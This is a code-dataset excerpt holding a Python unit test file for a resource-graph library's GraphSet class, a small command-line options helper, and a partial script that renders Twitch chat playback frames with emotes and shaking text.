altimeter.core.graph.exceptions import (\n GraphSetOrphanedReferencesException,\n UnmergableDuplicateResourceIdsFoundException,\n UnmergableGraphSetsException,\n)\nfrom altimeter.core.graph.graph_set import GraphSet\nfrom altimeter.core.graph.link.links import ResourceLinkLink, SimpleLink\nfrom altimeter.core.multilevel_counter import MultilevelCounter\nfrom altimeter.core.resource.resource import Resource\nfrom altimeter.core.resource.resource_spec import ResourceSpec\nfrom altimeter.core.resource.exceptions import ResourceSpecClassNotFoundException\n\n\n\nclass TestResourceSpecA(ResourceSpec):\n type_name = \"a\"\n\n @classmethod\n def get_full_type_name(self):\n return \"test:a\"\n\n @classmethod\n def scan(cls: Type[\"TestResourceSpecA\"], scan_accessor: Any) -> List[Resource]:\n raise NotImplementedError()\n\n\n\nclass TestResourceSpecB(ResourceSpec):\n type_name = \"b\"\n\n @classmethod\n def get_full_type_name(self):\n return \"test:b\"\n\n @classmethod\n def scan(cls: Type[\"TestResourceSpecB\"], scan_accessor: Any) -> List[Resource]:\n raise NotImplementedError()\n\n\nclass TestScanAccessor:\n pass\n\n\nclass TestGraphSetWithValidDataNoMerging(TestCase):\n def setUp(self):\n resource_a1 = Resource(\n resource_id=\"123\", type_name=\"test:a\", links=[SimpleLink(pred=\"has-foo\", obj=\"goo\")]\n )\n resource_a2 = Resource(resource_id=\"456\", type_name=\"test:a\")\n resource_b1 = Resource(\n resource_id=\"abc\", type_name=\"test:b\", links=[ResourceLinkLink(pred=\"has-a\", obj=\"123\")]\n )\n resource_b2 = Resource(\n resource_id=\"def\", type_name=\"test:b\", links=[SimpleLink(pred=\"name\", obj=\"sue\")]\n )\n resources = [resource_a1, resource_a2, resource_b1, resource_b2]\n self.graph_set = GraphSet(\n name=\"test-name\",\n version=\"1\",\n start_time=1234,\n end_time=4567,\n resources=resources,\n errors=[\"test err 1\", \"test err 2\"],\n stats=MultilevelCounter(),\n )\n\n def test_rdf_a_type(self):\n graph = self.graph_set.to_rdf()\n\n a_results = graph.query(\n \"select ?p ?o where {?s a ; ?p ?o} order by ?p ?o\"\n )\n expected_a_result_tuples = [\n (\"http://www.w3.org/1999/02/22-rdf-syntax-ns#type\", \"test-name:test:a\"),\n (\"http://www.w3.org/1999/02/22-rdf-syntax-ns#type\", \"test-name:test:a\"),\n (\"test-name:has-foo\", \"goo\"),\n (\"test-name:id\", \"123\"),\n (\"test-name:id\", \"456\"),\n ]\n a_result_tuples = []\n for a_result in a_results:\n self.assertEqual(2, len(a_result))\n a_result_tuples.append((str(a_result[0]), str(a_result[1])))\n self.assertEqual(expected_a_result_tuples, a_result_tuples)\n\n def test_rdf_b_type(self):\n graph = self.graph_set.to_rdf()\n graph.serialize(\"/tmp/test.rdf\")\n linked_a_node_results = graph.query(\n \"select ?s where {?s a ; '123' }\"\n )\n self.assertEqual(len(linked_a_node_results), 1)\n for linked_a_node_result in linked_a_node_results:\n linked_a_node = str(linked_a_node_result[0])\n b_results = graph.query(\n \"select ?p ?o where {?s a ; ?p ?o} order by ?p ?o\"\n )\n expected_b_result_tuples = [\n (\"http://www.w3.org/1999/02/22-rdf-syntax-ns#type\", \"test-name:test:b\"),\n (\"http://www.w3.org/1999/02/22-rdf-syntax-ns#type\", \"test-name:test:b\"),\n (\"test-name:has-a\", str(linked_a_node)),\n (\"test-name:id\", \"abc\"),\n (\"test-name:id\", \"def\"),\n (\"test-name:name\", \"sue\"),\n ]\n b_result_tuples = []\n for b_result in b_results:\n self.assertEqual(2, len(b_result))\n b_result_tuples.append((str(b_result[0]), str(b_result[1])))\n self.assertEqual(expected_b_result_tuples, b_result_tuples)\n\n def test_rdf_error_graphing(self):\n graph = self.graph_set.to_rdf()\n\n err_results = graph.query(\"select ?o where { ?s ?o } order by ?o\")\n err_strs = []\n expected_err_strs = [\"test err 1\", \"test err 2\"]\n for err_result in err_results:\n self.assertEqual(1, len(err_result))\n err_strs.append(str(err_result[0]))\n self.assertEqual(err_strs, expected_err_strs)\n\n def test_to_dict(self):\n expected_dict = {\n \"name\": \"test-name\",\n \"version\": \"1\",\n \"start_time\": 1234,\n \"end_time\": 4567,\n \"resources\": {\n \"123\": {\n \"type\": \"test:a\",\n \"links\": [{\"pred\": \"has-foo\", \"obj\": \"goo\", \"type\": \"simple\"}],\n },\n \"456\": {\"type\": \"test:a\"},\n \"abc\": {\n \"type\": \"test:b\",\n \"links\": [{\"pred\": \"has-a\", \"obj\": \"123\", \"type\": \"resource_link\"}],\n },\n \"def\": {\n \"type\": \"test:b\",\n \"links\": [{\"pred\": \"name\", \"obj\": \"sue\", \"type\": \"simple\"}],\n },\n },\n \"errors\": [\"test err 1\", \"test err 2\"],\n \"stats\": {\"count\": 0},\n }\n self.assertDictEqual(expected_dict, self.graph_set.to_dict())\n\n def test_from_dict(self):\n input_dict = {\n \"name\": \"test-name\",\n \"version\": \"1\",\n \"start_time\": 1234,\n \"end_time\": 4567,\n \"resources\": {\n \"123\": {\n \"type\": \"test:a\",\n \"links\": [{\"pred\": \"has-foo\", \"obj\": \"goo\", \"type\": \"simple\"}],\n },\n \"456\": {\"type\": \"test:a\"},\n \"abc\": {\n \"type\": \"test:b\",\n \"links\": [{\"pred\": \"has-a\", \"obj\": \"123\", \"type\": \"resource_link\"}],\n },\n \"def\": {\n \"type\": \"test:b\",\n \"links\": [{\"pred\": \"name\", \"obj\": \"sue\", \"type\": \"simple\"}],\n },\n },\n \"errors\": [\"test err 1\", \"test err 2\"],\n \"stats\": {\"count\": 0},\n }\n graph_set = GraphSet.from_dict(input_dict)\n self.assertEqual(graph_set.to_dict(), input_dict)\n\n def test_validate(self):\n self.graph_set.validate()\n\n\nclass TestGraphSetWithValidDataMerging(TestCase):\n def setUp(self):\n resource_a1 = Resource(\n resource_id=\"123\", type_name=\"test:a\", links=[SimpleLink(pred=\"has-foo\", obj=\"goo\")]\n )\n resource_a2 = Resource(\n resource_id=\"123\", type_name=\"test:a\", links=[SimpleLink(pred=\"has-goo\", obj=\"foo\")]\n )\n resource_b1 = Resource(\n resource_id=\"abc\", type_name=\"test:b\", links=[ResourceLinkLink(pred=\"has-a\", obj=\"123\")]\n )\n resource_b2 = Resource(\n resource_id=\"def\", type_name=\"test:b\", links=[SimpleLink(pred=\"name\", obj=\"sue\")]\n )\n resources = [resource_a1, resource_a2, resource_b1, resource_b2]\n self.graph_set = GraphSet(\n name=\"test-name\",\n version=\"1\",\n start_time=1234,\n end_time=4567,\n resources=resources,\n errors=[\"test err 1\", \"test err 2\"],\n stats=MultilevelCounter(),\n )\n\n def test_rdf_a_type(self):\n graph = self.graph_set.to_rdf()\n\n a_results = graph.query(\n \"select ?p ?o where {?s a ; ?p ?o} order by ?p ?o\"\n )\n expected_a_result_tuples = [\n (\"http://www.w3.org/1999/02/22-rdf-syntax-ns#type\", \"test-name:test:a\"),\n (\"test-name:has-foo\", \"goo\"),\n (\"test-name:has-goo\", \"foo\"),\n (\"test-name:id\", \"123\"),\n ]\n a_result_tuples = []\n for a_result in a_results:\n self.assertEqual(2, len(a_result))\n a_result_tuples.append((str(a_result[0]), str(a_result[1])))\n self.assertEqual(expected_a_result_tuples, a_result_tuples)\n\n def test_validate(self):\n self.graph_set.validate()\n\n\nclass TestGraphSetWithInValidData(TestCase):\n def test_unknown_type_name(self):\n resources = [\n Resource(resource_id=\"xyz\", type_name=\"test:a\"),\n Resource(resource_id=\"xyz\", type_name=\"test:c\"),\n ]\n with self.assertRaises(ResourceSpecClassNotFoundException):\n GraphSet(\n name=\"test-name\",\n version=\"1\",\n start_time=1234,\n end_time=4567,\n resources=resources,\n errors=[],\n stats=MultilevelCounter(),\n )\n\n def test_invalid_resources_dupes_same_class_conflicting_types_no_allow_clobber(self):\n resources = [\n Resource(resource_id=\"123\", type_name=\"test:a\"),\n Resource(resource_id=\"123\", type_name=\"test:b\"),\n ]\n with self.assertRaises(UnmergableDuplicateResourceIdsFoundException):\n GraphSet(\n name=\"test-name\",\n version=\"1\",\n start_time=1234,\n end_time=4567,\n resources=resources,\n errors=[],\n stats=MultilevelCounter(),\n )\n\n def test_orphaned_ref(self):\n resource_a1 = Resource(\n resource_id=\"123\", type_name=\"test:a\", links=[SimpleLink(pred=\"has-foo\", obj=\"goo\")]\n )\n resource_b1 = Resource(\n resource_id=\"abc\", type_name=\"test:b\", links=[ResourceLinkLink(pred=\"has-a\", obj=\"456\")]\n )\n resources = [resource_a1, resource_b1]\n graph_set = GraphSet(\n name=\"test-name\",\n version=\"1\",\n start_time=1234,\n end_time=4567,\n resources=resources,\n errors=[\"test err 1\", \"test err 2\"],\n stats=MultilevelCounter(),\n )\n with self.assertRaises(GraphSetOrphanedReferencesException):\n graph_set.validate()\n\n\nclass TestGraphSetMerge(TestCase):\n def test_invalid_diff_names(self):\n graph_set_1 = GraphSet(\n name=\"graph-1\",\n version=\"1\",\n start_time=10,\n end_time=20,\n resources=[],\n errors=[],\n stats=MultilevelCounter(),\n )\n graph_set_2 = GraphSet(\n name=\"graph-2\",\n version=\"1\",\n start_time=15,\n end_time=25,\n resources=[],\n errors=[],\n stats=MultilevelCounter(),\n )\n with self.assertRaises(UnmergableGraphSetsException):\n graph_set_1.merge(graph_set_2)\n\n def test_invalid_diff_versions(self):\n graph_set_1 = GraphSet(\n name=\"graph-1\",\n version=\"1\",\n start_time=10,\n end_time=20,\n resources=[],\n errors=[],\n stats=MultilevelCounter(),\n )\n graph_set_2 = GraphSet(\n name=\"graph-1\",\n version=\"2\",\n start_time=15,\n end_time=25,\n resources=[],\n errors=[],\n stats=MultilevelCounter(),\n )\n with self.assertRaises(UnmergableGraphSetsException):\n graph_set_1.merge(graph_set_2)\n\n def test_valid_merge(self):\n resource_a1 = Resource(\n resource_id=\"123\", type_name=\"test:a\", links=[SimpleLink(pred=\"has-foo\", obj=\"goo\")]\n )\n resource_a2 = Resource(resource_id=\"456\", type_name=\"test:a\")\n resource_b1 = Resource(\n resource_id=\"abc\", type_name=\"test:b\", links=[ResourceLinkLink(pred=\"has-a\", obj=\"123\")]\n )\n resource_b2 = Resource(\n resource_id=\"def\", type_name=\"test:b\", links=[SimpleLink(pred=\"name\", obj=\"sue\")]\n )\n graph_set_1 = GraphSet(\n name=\"graph-1\",\n version=\"1\",\n start_time=10,\n end_time=20,\n resources=[resource_a1, resource_a2],\n errors=[\"errora1\", \"errora2\"],\n stats=MultilevelCounter(),\n )\n graph_set_2 = GraphSet(\n name=\"graph-1\",\n version=\"1\",\n start_time=15,\n end_time=25,\n resources=[resource_b1, resource_b2],\n errors=[\"errorb1\", \"errorb2\"],\n stats=MultilevelCounter(),\n )\n graph_set_1.merge(graph_set_2)\n\n self.assertEqual(graph_set_1.name, \"graph-1\")\n self.assertEqual(graph_set_1.version, \"1\")\n self.assertEqual(graph_set_1.start_time, 10)\n self.assertEqual(graph_set_1.end_time, 25)\n self.assertCountEqual(graph_set_1.errors, [\"errora1\", \"errora2\", \"errorb1\", \"errorb2\"])\n expected_resource_dicts = [\n {\"type\": \"test:a\", \"links\": [{\"pred\": \"has-foo\", \"obj\": \"goo\", \"type\": \"simple\"}]},\n {\"type\": \"test:a\"},\n {\"type\": \"test:b\", \"links\": [{\"pred\": \"has-a\", \"obj\": \"123\", \"type\": \"resource_link\"}]},\n {\"type\": \"test:b\", \"links\": [{\"pred\": \"name\", \"obj\": \"sue\", \"type\": \"simple\"}]},\n ]\n resource_dicts = [resource.to_dict() for resource in graph_set_1.resources]\n self.assertCountEqual(expected_resource_dicts, resource_dicts)\n","sub_path":"tests/unit/altimeter/core/graph/test_graph_set.py","file_name":"test_graph_set.py","file_ext":"py","file_size_in_byte":13364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"121627338","text":"#!/usr/bin/python3\ndef exit_m(message):\n print(message)\n exit(0)\n\ndef ini_options(argv):\n global OPT_C\n global OPT_V\n OPT_C = 0\n OPT_V = 0\n argv = [arg for arg in argv if arg]\n for arg in argv:\n if arg[0] == '-':\n for l in arg[1:]:\n if l == 'v':\n OPT_V = 1\n elif l == 'c':\n OPT_C = 1\n else:\n print(\"unknown option '{:s}'\".format(l))\n return [arg for arg in argv if arg[0] != '-']\n\ndef verbose(message):\n if OPT_V == 1:\n print(message)\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"38297733","text":"# only for @dotafeeding's personal use\n\n# Twitch Chat PlayBack\n# - scrolling at 60fps actuated based on time\n# - text movement and size based on sentiment volume\n\n# usage: chatvid.py [filename]\n# Each line of chat is stored like this-> stream$user:message|chatTime\n# This script is queued in batches by \"chathighlightqueue.py\", once the desired clips have been selected in Adobe Premiere.\n\n#known issues: \n#extra large emotes abruptly cut off due to render time optimization of not rendering past 4 emotes\n\n#output: f:/clipchat/[Clip Name]/[Frame Number].png \n\n\n#------\n#Config\n\ntimeMergeDistance = 6.44\t\t\t\ntimeMergeDistance = 99.95\t\t\t\ntimeMergeDistance = 31.95\t\t\t\n\ntimeMergeDistance = 7.44\n\n#smaller merge intervals allow for more granular responses (great for when many events occur within a short space)\n#large intervals are good for totaling response counts across the whole chat (great for when just one or few original thoughts appear in chat)\n\nrightAlign = 1\n#rightAlign = 0\n\n\nmsgLen = 22\nmsgLen = 69\n#maximum length messages allowed\n\n\nbannedphrase = [\"d\",\"albert\",\"notatk\"]#banned keywords\n\n#-------\n\n\nfrom PIL import Image, ImageDraw, ImageFont\nimport numpy, sys,os,time\ntry:\n from os import scandir, walk\nexcept ImportError:\n from scandir import scandir, walk\t\nfrom random import randint\nfrom fuzzywuzzy import fuzz\n\nscrollNeeded = 0\nspeed = 0\ntextHeight = 0\nspeeds=[]\nend = 0\n\npath = 'C:/Drive/Code/emotes'\nemotes = []\nfor entry in os.scandir(path):\n\tentry = entry.name\t\n\temotes.append(entry.split(\".\")[0])\n\t\nargs = sys.argv\n\nfilename = 'f:/clipchat/' + args[1] + '/'\nos.mkdir(filename)#runtime is broken if the directory already exists\n\nwith open(\"g:/clips/\" + args[1]) as chatvid:\n\tchatvid = chatvid.readlines()\nout = [x.strip() for x in chatvid]\n\n\n\nblacklist = [\"http\",\"forsen\",\"ᵃ\",\"ᴇ\",\"۞\",\"⎠\",\"📞\",\"É\",\"╣\",\"tyler\",\"sourpls\",\"admiral\",\"TOLI\",\"\u0001\",\"󀀀\",\"贡\",\"ȓ\",\"񡠎\",\"򬀀\",\"ҏ\"]\n\n\nwith open(\"D:/streamdata/helpers\") as helpers:\n\thelpers = helpers.readlines()\n\nhelpers = [x.strip() for x in helpers]\n\n\nfor x in out:\n\ttry:\n\t\tprint(x)\n\t\tfor y in blacklist:\n\t\t\tif y in x.lower():\n\t\t\t\traise\n\texcept:\n\t\tout.remove(x) #remove non utf-8 lines\n\nmostPop={}\nfor chat in out:\n\ttry:\n\t\tmostPop[chat.split(\":\")[1].split(\"|\")[0]] +=1 \n\texcept:\n\t\tmostPop[chat.split(\":\")[1].split(\"|\")[0]] =1 \nalreadyChecked = []\n\t\nwhile True:\n\tbreaker = 1\n\ttry:\n\t\tfor ch in out:\n\t\t\tif ch not in alreadyChecked:\n\t\t\t\tfor ch2 in out:\n\t\t\t\t\tif ch.split(\":\")[0] == ch2.split(\":\")[0] and fuzz.ratio(ch.split(\":\")[1].split(\"|\")[0].lower(),ch2.split(\":\")[1].split(\"|\")[0].lower()) > 55 and ch != ch2:\n\t\t\t\t\t\tif mostPop[ch.split(\":\")[1].split(\"|\")[0]] > mostPop[ch2.split(\":\")[1].split(\"|\")[0]]:#remove similar message spam from the same user\n\t\t\t\t\t\t\tout.remove(ch2)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tout.remove(ch)\n\t\t\t\t\t\traise\n\t\t\t\talreadyChecked.append(ch)\n\texcept:\n\t\tbreaker = 0\n\t\t\n\t\tpass\n\tif breaker:\n\t\tbreak\nmostPop = {}\n\nprint(\"spam removed\")\n\nfor chat in out:\n\ttry:\n\t\tmostPop[chat.split(\":\")[1].split(\"|\")[0]] +=1 \n\texcept:\n\t\tmostPop[chat.split(\":\")[1].split(\"|\")[0]] =1 \n\nalreadyChecked = []\n\t\t\t\n\t\t\nwhile True:\n\tbreaker = 1\n\ttry:\n\t\tfor ch in out:\n\t\t\tif ch not in alreadyChecked:\n\t\t\t\tfor ranked in mostPop:\n\t\t\t\t\tif (fuzz.ratio(ch.split(\":\")[1].split(\"|\")[0], ranked) > 83 or fuzz.token_sort_ratio(ch.split(\":\")[1].split(\"|\")[0], ranked) > 95) and mostPop[ranked] > mostPop[ch.split(\":\")[1].split(\"|\")[0]]:\n\t\t\t\t\t\tout.append(( ch.split(\":\")[0] + \":\"+ranked + \"|\" + ch.split(\"|\")[1] )) # rank the most common spellings. change extremely similar messages to use the most common spelling (misspelling correction) \n\t\t\t\t\t\tout.remove(ch)\n\t\t\t\t\t\traise\n\t\t\t\talreadyChecked.append(ch)\n\t\t\t\t\n\texcept:\n\t\tbreaker = 0\n\t\tpass\n\t\t\t\t\n\tif breaker:\n\t\tbreak\nalreadyChecked = []\n\t\t\t\nprint(\"corrections made\")\n\n\n\nwhile True:\n\tbreaker = 1\n\ttry:\n\t\tfor ch in out:\n\t\t\tif ch not in alreadyChecked:\n\t\t\t\tfor ch2 in out:\t\t\t\t\t\t#merge identical messages, while displaying username list ranked by fastest reaction time, and counting unique users saying each unique message\n\t\t\t\t\tif ch.split(\"|\")[0].split(\":\")[1].lower() == ch2.split(\"|\")[0].split(\":\")[1].lower() and float(ch2.split(\"|\")[1]) - float(ch.split(\"|\")[1]) < timeMergeDistance and float(ch2.split(\"|\")[1])-float(ch.split(\"|\")[1]) >= 0 and ch != ch2:\n\t\t\t\t\t\tpopCheck={}\n\t\t\t\t\t\tfor chat in mostPop:\n\t\t\t\t\t\t\tif chat.lower() == ch.split(\":\")[1].split(\"|\")[0].lower():\n\t\t\t\t\t\t\t\tpopCheck[chat] = mostPop[chat]\n\t\t\t\t\t\tphrase = max(popCheck, key=popCheck.get)\n\t\t\t\t\t\thelper = \"\"\n\t\t\t\t\t\thelpSum = 0\n\t\t\t\t\t\tif ch2.split(\":\")[0] in helpers:\n\t\t\t\t\t\t\thelpSum += 1\n\t\t\t\t\t\t\thelper += ch2.split(\":\")[0] +\", \"\n\t\t\t\t\t\tif ch.split(\":\")[0] in helpers:\n\t\t\t\t\t\t\thelpSum += 1\n\t\t\t\t\t\t\thelper += ch.split(\":\")[0] + \", \"\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tif len( (ch.split(\":\")[0] + \", \" +ch2.split(\":\")[0]) ) > 32 or \"+\" in ch.split(\":\")[0] or \"+\" in ch2.split(\":\")[0]:\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\ttotal = ch2.split(\":\")[0].count(\",\")\n\t\t\t\t\t\t\ttotal+= ch.split(\":\")[0].count(\",\")\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\ttotal += int(ch2.split(\":\")[0].split(\"+\")[1])\n\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\tpass\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\ttotal += int(ch.split(\":\")[0].split(\"+\")[1])\n\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\tpass\n\t\t\t\t\t\t\tif \",\" not in ch.split(\":\")[0]:\n\t\t\t\t\t\t\t\ttotal+= 1\n\t\t\t\t\t\t\tif \",\" not in ch2.split(\":\")[0]:\n\t\t\t\t\t\t\t\ttotal+= 1\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\ttotal -= helpSum\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif \"+\" in ch.split(\":\")[0]:\n\t\t\t\t\t\t\t\tout.append(( helper + ch.split(\"+\")[0] + \"+\" + str(total) + \":\" +phrase + \"|\" + ch.split(\"|\")[1] ))\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tout.append(( helper + ch.split(\":\")[0] + \", +\" + str(total) + \":\" +phrase + \"|\" + ch.split(\"|\")[1] ))\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif ch.split(\":\")[0] in helper and ch2.split(\":\")[0] in helper or (ch.split(\":\")[0] not in helper and ch2.split(\":\")[0] not in helper):\n\t\t\t\t\t\t\t\tout.append(( ch.split(\":\")[0] + \", \" +ch2.split(\":\")[0] +\":\" +phrase + \"|\" + ch.split(\"|\")[1] ))\n\t\t\t\t\t\t\telif ch.split(\":\")[0] in helper:\n\t\t\t\t\t\t\t\tout.append(( helper +ch2.split(\":\")[0] +\":\" +phrase + \"|\" + ch.split(\"|\")[1] ))\n\t\t\t\t\t\t\telif ch2.split(\":\")[0] in helper:\n\t\t\t\t\t\t\t\tout.append(( helper + ch.split(\":\")[0] +\":\" +phrase + \"|\" + ch.split(\"|\")[1] ))\n\t\t\t\t\t\t\n\t\t\t\t\t\tout.remove(ch)\n\t\t\t\t\t\tout.remove(ch2)\n\t\t\t\t\t\traise\n\t\t\t\t\n\t\t\t\talreadyChecked.append(ch)\n\texcept:\n\t\tbreaker = 0\n\t\tpass\n\tif breaker:\n\t\tbreak\n\t\n\t\ncount = 0\nframeskip = 0\nchat = {}\nfor ch in out:\n\tif len(ch.split(\"|\")[0].split(\":\")[1]) < 35:\n\t\tdoit = 1\n\t\tfor x in ch.split(\"|\")[0].split(\":\")[1].split(\" \"):\n\t\t\tif x.lower() in bannedphrase:\n\t\t\t\tdoit = 0\n\t\tif ch.split(\"|\")[0].split(\":\")[1].lower() in bannedphrase:\n\t\t\tdoit = 0\n\t\tif doit:\n\t\t\ttry:\n\t\t\t\tchat[ch.split(\"|\")[0].split(\"$\")[1]] = float(ch.split(\"|\")[1])\n\t\t\texcept:\n\t\t\t\tchat[ch.split(\"|\")[0]] = float(ch.split(\"|\")[1])\n\ncurrentLines = {}\ncLcount = 0\ninterval = 0.322\nchatTime = chat[min(chat,key=chat.get)] - interval+1\ncolor = (0,0,0)\ncolorKey = \"#00ff00\"\ncolorLota = (255,255,255)\ncolorLotaBlue = (0,255,255)\nheight = int(1400/700 * 900)\nW = 1400\nH = int(1400/700 * 45)\n\nshakeCooldown = {}\nsize = int(W / 700 * 35)\nfont = ImageFont.truetype('D:/streamdata/DINPro-Medium.otf', size)\nemoteSize = int(W / 700 * 35)\n\npauselen = 45\npausedFrames = 0\nwhile len(chat) > 0 or scrollNeeded > 20 or end < 40:\n\tchatTime += 1/60\n\t\n\ttry:\n\t\t\n\t\tif chat[min(chat,key=chat.get)] - chatTime < interval:\n\t\t\tcurrentLines[cLcount] = (min(chat,key=chat.get).split(\":\")[0],min(chat,key=chat.get).split(\":\")[1])\n\t\t\tshakeCooldown[cLcount] = 0\n\t\t\tcLcount +=1\n\t\t\tchat.pop(min(chat,key=chat.get))\n\t\t\ttextHeight += H\n\t\t\tscrollNeeded += H\n\texcept:\n\t\ttry:\n\t\t\tchat.pop(min(chat,key=chat.get))\n\t\texcept:\n\t\t\tpass\n\t\tpass\n\t\n\twhile height< -80:\n\t\theight = height + H\n\t\tcurrentLines.pop(min(currentLines))\n\t\n\t\n\ttext = Image.new(\"RGBA\",(W,textHeight+H))\n\tdraw = ImageDraw.Draw(text)\n\t\n\tframeHeight = 0\n\t\n\n\tboostonce = 1\n\tdraw13 = 0\n\tfor line in currentLines:\n\t\tif draw13 < 25:\n\t\t\toutUser = currentLines[line][0]\n\t\t\toutMsg = currentLines[line][1]\n\t\t\t\n\t\t\twords = {}\n\t\t\t\n\t\t\torder = -1\n\t\t\tfor word in outMsg.split(\" \"):\n\t\t\t\torder += 1\n\t\t\t\tw,h = draw.textsize(word, font=font)\n\t\t\t\tif word.lower() in emotes:\n\t\t\t\t\tw = emoteSize\n\t\t\t\t\th = emoteSize\n\t\t\t\twords[order] = [word, w]\n\t\t\ttotalWidth = 0\n\t\t\t\n\t\t\tspacing = W/700 *8\n\t\t\t\n\t\t\twhile order !=-1:\n\t\t\t\ttotalWidth += words[order][1]\n\t\t\t\ttotalWidth += spacing\n\t\t\t\torder -=1\n\t\t\twidthsofar = 0\n\t\t\torder = 0\n\t\t\t\n\t\t\tintensity = 0\n\t\t\t\n\t\t\tif \"+\" in outUser:\n\t\t\t\tintensity = int(outUser.split(\"+\")[1])\n\t\t\t\tcooldown = 1\n\t\t\t\t\n\t\t\t\tif intensity < 5 and shakeCooldown[line]>7:\n\t\t\t\t\tshake = 1\n\t\t\t\telif intensity < 10 and shakeCooldown[line]>5:\n\t\t\t\t\tshake = 2\n\t\t\t\telif intensity < 25 and shakeCooldown[line]>3:\n\t\t\t\t\tshake = 3\n\t\t\t\telif intensity < 50 and shakeCooldown[line]>2:\n\t\t\t\t\tshake = 4\n\t\t\t\telif intensity < 100 and shakeCooldown[line]>1:\n\t\t\t\t\tshake = 5\n\t\t\t\telif intensity > 100:\n\t\t\t\t\tshake = 6\n\t\t\t\telse:\n\t\t\t\t\tcooldown =0\n\t\t\t\t\t\n\t\t\t\tif cooldown:\n\t\t\t\t\tshakeH = shake / randint(1,2)\n\t\t\t\t\tif randint(0,1):\n\t\t\t\t\t\tshakeH *= -1\n\t\t\t\t\t\t\n\t\t\t\t\tshakeW = shake / randint(1,2)\n\t\t\t\t\tif randint(0,1):\n\t\t\t\t\t\tshakeW *= -1\n\t\t\t\t\t\n\t\t\t\t\tx = randint(0,1)\n\t\t\t\telse:\n\t\t\t\t\tshakeW = 0\n\t\t\t\t\tshakeH = 0\n\t\t\t\t\n\t\t\t\tshakeCooldown[line] += 1\n\t\t\telse:\n\t\t\t\tshakeW = 0\n\t\t\t\tshakeH = 0\n\t\t\t\n\t\t\twhile order != len(words):\n\t\t\t\tif words[order][0].lower() in emotes:\n\t\t\t\t\temote = 'C:/Drive/Code/emotes/'\n\t\t\t\t\temote += words[order][0].lower()\n\t\t\t\t\temote+= '.png'\n\t\t\t\t\ttry:\n\t\t\t\t\t\temote = Image.open(emote, 'r')\n\t\t\t\t\t\temote = emote.resize((emoteSize+intensity*3,emoteSize+intensity*3) ,Image.LANCZOS)\n\t\t\t\t\t\tif shakeW != 0 and shakeH !=0:\n\t\t\t\t\t\t\temote = emote.rotate(int(randint(-1,1) * (shakeW * shakeH / 3) ), resample=Image.BILINEAR)\n\t\t\t\t\t\ttext.paste(emote,( int( (W-totalWidth) *rightAlign +widthsofar+int(shakeW) -intensity*3) ,0 +frameHeight+int(shakeH)),emote)\n\t\t\t\t\texcept:\n\t\t\t\t\t\tprint(words[order][0].lower() + \" is an invalid emote image\")\n\t\t\t\t\twidthsofar += emoteSize + 5\n\t\t\t\telse:\n\t\t\t\t\n\t\t\t\t\t#crude method of drawing an outer stroke\n\t\t\t\t\tdraw.text( ( ( (((W-totalWidth) * rightAlign )+widthsofar+shakeW-2) ,4-10+frameHeight+shakeH)), words[order][0], font=font, fill=color)\n\t\t\t\t\tdraw.text( ( ( (((W-totalWidth) * rightAlign )+widthsofar+shakeW+2) ,4-10+frameHeight+shakeH)), words[order][0], font=font, fill=color)\n\t\t\t\t\tdraw.text( ( ( (((W-totalWidth) * rightAlign )+widthsofar+shakeW) ,4-10+frameHeight+shakeH)), words[order][0], font=font, fill=color)\n\t\t\t\t\tdraw.text( ( ( (((W-totalWidth) * rightAlign )+widthsofar+shakeW) ,4-10+frameHeight+shakeH)), words[order][0], font=font, fill=color)\n\t\t\t\t\tdraw.text( ( ( (((W-totalWidth) * rightAlign )+widthsofar+shakeW-1) ,4-1-10+frameHeight+shakeH)), words[order][0], font=font, fill=color)\n\t\t\t\t\tdraw.text( ( ( (((W-totalWidth) * rightAlign )+widthsofar+shakeW+1) ,4-1-10+frameHeight+shakeH)), words[order][0], font=font, fill=color)\n\t\t\t\t\tdraw.text( ( ( (((W-totalWidth) * rightAlign )+widthsofar+shakeW) ,4-2-10+frameHeight+shakeH)), words[order][0], font=font, fill=color)\n\t\t\t\t\tdraw.text( ( ( (((W-totalWidth) * rightAlign )+widthsofar+shakeW) ,4-2-10+frameHeight+shakeH)), words[order][0], font=font, fill=color)\n\t\t\t\t\tdraw.text( ( ( (((W-totalWidth) * rightAlign )+widthsofar+shakeW+1) ,4+1-10+frameHeight+shakeH)), words[order][0], font=font, fill=color)\n\t\t\t\t\tdraw.text( ( ( (((W-totalWidth) * rightAlign )+widthsofar+shakeW-1) ,4+1-10+frameHeight+shakeH)), words[order][0], font=font, fill=color)\n\t\t\t\t\tdraw.text( ( ( (((W-totalWidth) * rightAlign )+widthsofar+shakeW) ,4+2-10+frameHeight+shakeH)), words[order][0], font=font, fill=color)\n\t\t\t\t\tdraw.text( ( ( (((W-totalWidth) * rightAlign )+widthsofar+shakeW) ,4+2-10+frameHeight+shakeH)), words[order][0], font=font, fill=color)\n\t\t\t\t\t\n\t\t\t\t\tdraw.text( ( ( (((W-totalWidth) * rightAlign )+widthsofar+shakeW) ,4-10+frameHeight+shakeH)), words[order][0], font=font, fill=colorLota )\n\t\t\t\t\t\n\t\t\t\t\twidthsofar += words[order][1]\n\t\t\t\t\ttry:\n\t\t\t\t\t\tif words[order+1][1] not in emotes:\n\t\t\t\t\t\t\twidthsofar += spacing\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpass\n\t\t\t\torder += 1\n\t\t\tif scrollNeeded > 2000 and height < 0 and boostonce:\n\t\t\t\tboostonce = 0\n\t\t\t\tdraw13 += 25\n\t\t\t\t\n\t\t\tframeHeight += H\n\t\t\t\n\t\t\t\n\tif scrollNeeded > 150:#speed changes on a curve\n\t\tspeed = scrollNeeded/35\n\telif scrollNeeded > 90:\n\t\tspeed = scrollNeeded / 25\n\telif scrollNeeded > 0:\n\t\tspeed = 